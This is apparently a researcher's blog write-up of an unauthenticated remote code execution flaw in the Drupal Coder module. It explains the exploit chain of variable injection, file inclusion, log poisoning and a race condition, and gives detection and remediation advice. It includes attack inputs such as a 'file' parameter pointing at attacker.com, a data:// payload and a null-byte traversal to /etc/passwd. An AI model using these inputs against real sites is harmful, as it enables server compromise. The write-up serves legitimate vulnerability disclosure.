Drupal Coder Module – Unauth RCE – SA-CONTRIB-2016-039

Note: This is an old write-up from 2016 but I was prompted to resurrect it after my tweet about it was recently retweeted. I do think it’s a good example of the process of identifying an exploitable vulnerability too.

The Drupal Security Advisory SA-CONTRIB-2016-039 was issued for an unauthenticated remote code execution vulnerability that I found whilst doing a code review of the third-party Coder module. The vulnerability affects all versions of the Drupal coder module for Drupal 7.x below version 7.x-1.3 and 7.x-2.6, and the module does not need to be enabled to be vulnerable. When I discovered this vulnerability there were around 4,000 websites reportedly using the module.

The module included a PHP script which was inherently dangerous and could be accessed without authentication. The script’s purpose was to patch PHP code. The module developer (who also wrote a “Secure Code Review” module) didn’t make any attempt to restrict access to this inherently dangerous script and when I reported the issue he repeatedly closed the report saying that the script was working as designed…

The tl;dr Version

The vulnerable script, found under the path coder/coder_upgrade/scripts/coder_upgrade.run.php, could be accessed directly without going through the Drupal CMS (hence bypassing Drupal’s security controls). The script performed almost no validation of input and as a result was affected by a range of vulnerabilities including:

  • Deserialization
  • Emulation of register_globals
  • Directory traversal
  • Local file inclusion (LFI)
  • Log file poisoning

The combination of log file poisoning and LFI often means that remote code execution is possible, however in this instance it wasn’t so straightforward. The poisoned log file was overwritten before the LFI could be triggered.

The path to the log file was constant, so there was a race condition whereby it was possible to poison the log file in between it being overwritten and the LFI being triggered. Using a multi-threaded exploit script it was possible to reliably trigger this race condition within a few seconds.

RCE: Race to Code Execution

I discovered this issue whilst reviewing various Drupal plugins/modules for security vulnerabilities. From a past life as a Drupal developer I knew that the code for Drupal plugins should generally live in files with the extension  .module or  .inc. One of the reasons for this is that the code won’t be executed if those files are requested directly, instead the files have to be included by Drupal before the code within will be executed. This also allows Drupal to apply security controls such as authentication and authorisation before executing those scripts.

It stood out to me that a lot of Drupal modules include PHP scripts with the  .php extension, so I started digging into this. While a lot of modules do include scripts with the  .php extension, many of those scripts only contained function and class definitions and wouldn’t execute any interesting code if they were requested directly. In other cases the scripts made calls to Drupal APIs that were only available when those scripts were included/loaded by Drupal, so accessing them directly would just lead to PHP errors.

Nevertheless, the Coder module itself had 184 files with the extension  .php and that was only one of the modules I was reviewing. I decided to run with my initial suspicions and turned to automation to help filter these scripts. By tokenizing each PHP script in a given directory and doing some simple analysis I was able to filter out the majority of uninteresting scripts and focus my code review efforts. I very quickly came across the file  coder/coder_upgrade/scripts/coder_upgrade.run.php.

This script was quite complex and didn’t appear to call Drupal APIs early on so it looked like a good candidate for a more in-depth code review.

Coder 1

The script starts off calling  save_memory_usage(), passing in a constant string and an empty array. That function was defined in the same script and simply inserted several strings into the given array. Nothing too interesting but the fact that function exists in the same script means execution will continue without error and so can our code review.

Coder 2

A few lines later is a comment “Read command line arguments” and a call to the function  extract_arguments(). Again this function is defined later in the same PHP script so it won’t error out, however if we can’t get a non-null return value here then we’ve hit a dead end – and we’re aiming to hit the script through a browser, not via the command line.

Coder 3

The  extract_arguments() function has a switch statement based on the result of the php_sapi_name() function which returns the name of the server API used to execute the PHP script. When Apache is used, the function returns the value of the GET parameter named  file. As long as we request the script with this parameter, we can get execution beyond the if statement shown on line 71 above.

Coder 4

Here the  $path variable, that we control through the  file GET parameter, is passed to  file_get_contents() and the results are passed through the  unserialize() function. There are several ways we can pass data to this script:

  • coder_upgrade.run.php?file=http://attacker.com/payload ( allow_url_fopen is enabled by default, see PHP Runtime Configuration)
  • coder_upgrade.run.php?file=\\attacker.com\payload (works if the server has outbound connectivity and  allow_url_fopen is off)
  • coder_upgrade.run.php?file=data://text/plain;base64,UGF5bG9hZA== (no outbound connection, see PHP Supported Protocols and Wrappers)

Passing user-supplied data through the  unserialize() function is risky, however in this instance there were no interesting PHP classes available to use in an object injection exploit. Either way, once line 77 has executed, the attacker has complete control over the  $parameters variable.

The for loop on lines 80 to 82 is where this script really gets interesting. The loop treats our  $parameters variable as an associative array and uses PHP’s variable variable syntax to turn those array elements into actual variables in the script. This essentially emulates the old  register_globals feature of PHP that was considered to be so dangerous it was deprecated and then entirely removed from PHP back in 2012.

The key thing to note here is that by line 83, the attacker controls every variable in this script. They can overwrite existing variables or introduce new ones. For example, if our  $parameters array contains a key named  usage then we can overwrite the value of the  $usage variable that’s passed to  save_memory_usage() on line 83.

Coder 5

This code snippet isn’t particularly interesting. We can trigger another  file_get_contents() and  unserialize() combo but that doesn’t get us anywhere new. We still control all variables up until line 96 executes, at which point data out of our control is appended to that  $usage array.

Coder 6

Spot the vulnerabilities! The loop here constructs some file paths and passes them to  require_once which will include those files and execute any code within them. No validation is performed, so there’s a directory traversal vulnerability here along with a (limited) local file inclusion. Using parent directory references (i.e.  ../) in the variable  $_coder_upgrade_modules_base, we can trigger the inclusion of any file path on the system that ends with one of the following:

  • /coder/coder_upgrade/coder_upgrade.inc
  • /coder/coder_upgrade/includes/main.inc
  • /coder/coder_upgrade/includes/utility.inc

Unfortunately that’s pretty specific and not necessarily trivial to exploit. Those readers who are more familiar with PHP’s history will know that this LFI is fully exploitable under (very) old versions of PHP. Prior to PHP 5.3.4 (released in December 2010), there was a path truncation vulnerability that would allow attackers to truncate anything appended to a file path by inserting a null byte at the end of their input. Given this, we could for example read the  /etc/passwd file by setting the  $_coder_upgrade_modules_base variable to  ../../../../../../../../../etc/passwd\x00. If we could also get a file on to the server in a predictable location (such as a GIF user profile image with an embedded PHP shell), or poison a readable log file, then this would be enough to achieve code execution.

That is exploitable under the right conditions, but this script stinks and I wanted guaranteed and reliable code execution, so let’s crack on!

Before we do, however, it’s worth noting that the script execution will error out on line 106 above if the variable  $_code_upgrade_modules_base isn’t set to a correct path. This is due to the use of  require_once which will generate an error if the file cannot be included (e.g. because it doesn’t exist at the given path).

Coder 7

Line 109 calls out the function  coder_upgrade_path_clear() that is defined in  /coder/coder_upgrade/includes/main.inc. This function call overwrites a file named  memory.txt with an empty string, essentially clearing the contents of the file.

Next the script passes that  $usage variable to  print_memory_usage(), which is also defined in the file  main.inc.

Coder 8

The  $usage array, which we have some control over, is converted into a string using  implode(), with each array element separated by a new line. The resulting string is then passed to  coder_upgrade_path_print(), again in  main.inc, which in this instance writes the string to the file  memory.txt.

By poisoning the  $usage array, we’re effectively now able to poison a file that exists at a predictable (constant) path. Under PHP versions prior to 5.3.4 this gives us a reliably exploitable unauthenticated remote code execution due to the null byte path truncation issue.

But that relies on a heavily outdated version of PHP, which just wasn’t good enough!

Coder 9

At this point the script’s setup is complete and a call is made to  coder_upgrade_start() to do the real work.

Coder 10

In this snippet from  coder_upgrade_start(), line 49 will always execute by default. This means that the  memory.txt that we may have just poisoned will be “un-poisoned”. While not everyone will use the default configuration, for the purpose of reliable exploitation we can assume that our poisoned log file is no longer poisoned at this point.

Let’s continue on to  coder_upgrade_load_code(), which doesn’t sound like a good place to be passing unvalidated user-supplied data…

Coder 11

The loop here iterates over our  $upgrades array and treats each element as an associative array. If a  path key is present and not empty then the variable  $path is set to  DRUPAL_ROOT . '/' . $upgrade['path']. This gives us control over the end of a file path.

If a  files key is present then the loop on lines 115 to 117 executes, which causes each element in the  $upgrade['files'] array to be prefixed with our  $path variable before passing the result to  require_once to include and execute any code in those paths. Note that there is again no validation, so we can use  ../ to traverse the file system. More importantly, nothing is appended to the  $file variable so we can include and execute PHP code within any local file, such as  memory.txt.

This brings us to that race condition. There’s a small but significant amount of code between the log file being cleared and this fully-controllable local file inclusion vulnerability. I wrote an exploit that spawns multiple threads that repeatedly send a payload to the script which poisons  memory.txt, then attempts to trigger the LFI above to include this file. In tests I was able to reliably re-poison  memory.txt before triggering the LFI to include the poisoned log file and achieve code execution within a matter of seconds.

The Exploit

The following Python script should reliably drop a (very crude) shell on an affected server within a matter of seconds.

Racing vs The Scenic Route

My exploit may win the race, but there’s a scenic route to exploiting this vulnerability too.

Following the publication of the security advisory and security update which “fixed” the vulnerability, a fellow researcher (Mehmet Ince@mdisec) began his own analysis with a view to producing a working exploit. Mehmet spotted a call to  shell_exec() which he successfully targeted with his exploit. His write-up is in Turkish but it’s worth a read because he took his analysis way further than I did to achieve RCE in a much less noisy and more reliable way. Fantastic work!

Mehmet’s exploit is now available as a Metasploit module that achieves RCE in a single HTTP request.

Detecting Vulnerable Instances

If a Drupal website has a vulnerable version of the Coder module installed then it is vulnerable to unauthenticated remote code execution, regardless of whether the Coder module is enabled or not. We can identify vulnerable websites by requesting the  coder_upgrade.run.php script and looking at the HTTP response. If it contains the exact string  file parameter is not setNo path to parameter file then the website is vulnerable.

By default the affected script should be found under one of the following paths:

  • /modules/coder/coder_upgrade/scripts/coder_upgrade.run.php
  • /sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php
  • /sites/default/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php
  • /sites/[site-name]/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php

A Nessus plugin was also published to help detect this vulnerability.


The vulnerable PHP script is inherently dangerous and is not intended to be published to production servers so ideally the Coder module should be removed from all production servers. Alternatively, the module should be updated to the latest version to ensure that your websites are protected against this and any more recent vulnerabilities.



Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.